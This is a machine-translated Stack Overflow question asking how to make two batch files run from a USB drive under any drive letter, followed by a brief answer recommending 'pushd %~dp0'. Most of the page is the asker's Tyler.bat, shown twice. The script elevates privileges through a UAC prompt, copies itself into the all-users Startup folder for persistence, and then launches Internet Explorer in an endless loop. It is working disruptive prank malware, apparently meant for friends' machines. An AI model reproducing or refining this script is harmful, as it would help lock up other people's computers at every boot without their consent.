如何从usb驱动器的任何驱动器号运行批处理文件?

时间:2013-02-15 18:30:23

标签: batch-file usb

我将这两个批处理文件放在USB驱动器上,我需要找到一种方法让Tyler.bat具有正确的路径,这样当我从usb驱动器调用Tyler.bat时它会读取usb使用正确的路径驱动并加载Tyler.bat,然后按照其命令执行操作。

我想知道如何在不将驱动器名称更改为特定内容的情况下执行此操作。

Zieske.bat

@echo off
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

Tyler.bat

@echo off
REM Run shell as admin (example) - put here code as you like
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

ty回答的例子

pushd %~dp0
...all the other code...
copy tyler.bat
...more other code...

在代码中实现ty的答案的例子(不知道是否因为goto变量,如果我需要将pushd放在命令复制批处理文件的位置)

zieske.bat

@echo off
pushd %~dp0
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Matt" (call Tyler.bat)
if /i "%answer%"=="Matthew" (call Tyler.bat)
if /i "%answer%"=="Matthew Tassin" (call Tyler.bat)
if /i "%answer%"=="Matt Tassin" (call Tyler.bat)
if /i "%answer%"=="Ryan" (call Tyler.bat)
if /i "%answer%"=="Ryan Ware" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

tyler.bat

@echo off
pushd %~dp0
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler, Ryan, or Matt!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

如果您可以通过ctrl + f验证pushd %~dp0的语法/位置是否正确并输入pushd %~dp0我会非常感激。

1 个答案:

答案 0 :(得分:0)

您真的需要驱动器号,还是只需要确保当前目录是USB驱动器的根目录?如果是后者,只需:

pushd %~dp0

在批处理文件的开头。您将被刻录到批处理文件所在的目录中。